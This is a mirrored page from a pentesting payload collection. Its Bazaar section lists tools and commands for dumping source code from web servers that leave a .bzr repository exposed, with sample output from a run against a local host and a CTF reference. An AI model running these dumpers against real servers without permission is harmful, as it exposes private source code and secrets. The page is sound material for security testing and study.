mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-13 14:52:53 +00:00
47 lines
1,019 B
Markdown
47 lines
1,019 B
Markdown
|
# Bazaar
|
|||
|
|
|||
|
## Summary
|
|||
|
|
|||
|
* [Tools](#tools)
|
|||
|
* [rip-bzr.pl](#rip-bzrpl)
|
|||
|
* [bzr_dumper](#bzr_dumper)
|
|||
|
* [References](#references)
|
|||
|
|
|||
|
|
|||
|
## Tools
|
|||
|
|
|||
|
### rip-bzr.pl
|
|||
|
|
|||
|
```powershell
|
|||
|
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl
|
|||
|
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u
|
|||
|
```
|
|||
|
|
|||
|
### bzr_dumper
|
|||
|
|
|||
|
```powershell
|
|||
|
git clone https://github.com/SeahunOh/bzr_dumper
|
|||
|
python3 dumper.py -u "http://127.0.0.1:5000/" -o source
|
|||
|
Created a standalone tree (format: 2a)
|
|||
|
[!] Target : http://127.0.0.1:5000/
|
|||
|
[+] Start.
|
|||
|
[+] GET repository/pack-names
|
|||
|
[+] GET README
|
|||
|
[+] GET checkout/dirstate
|
|||
|
[+] GET checkout/views
|
|||
|
[+] GET branch/branch.conf
|
|||
|
[+] GET branch/format
|
|||
|
[+] GET branch/last-revision
|
|||
|
[+] GET branch/tag
|
|||
|
[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
|
|||
|
[*] Finish
|
|||
|
|
|||
|
$ bzr revert
|
|||
|
N application.py
|
|||
|
N database.py
|
|||
|
N static/
|
|||
|
```
|
|||
|
|
|||
|
## References
|
|||
|
|
|||
|
- [STEM CTF Cyber Challenge 2019 – My First Blog - m3ssap0 / zuzzur3ll0n1 - March 2, 2019](https://ctftime.org/writeup/13380)
|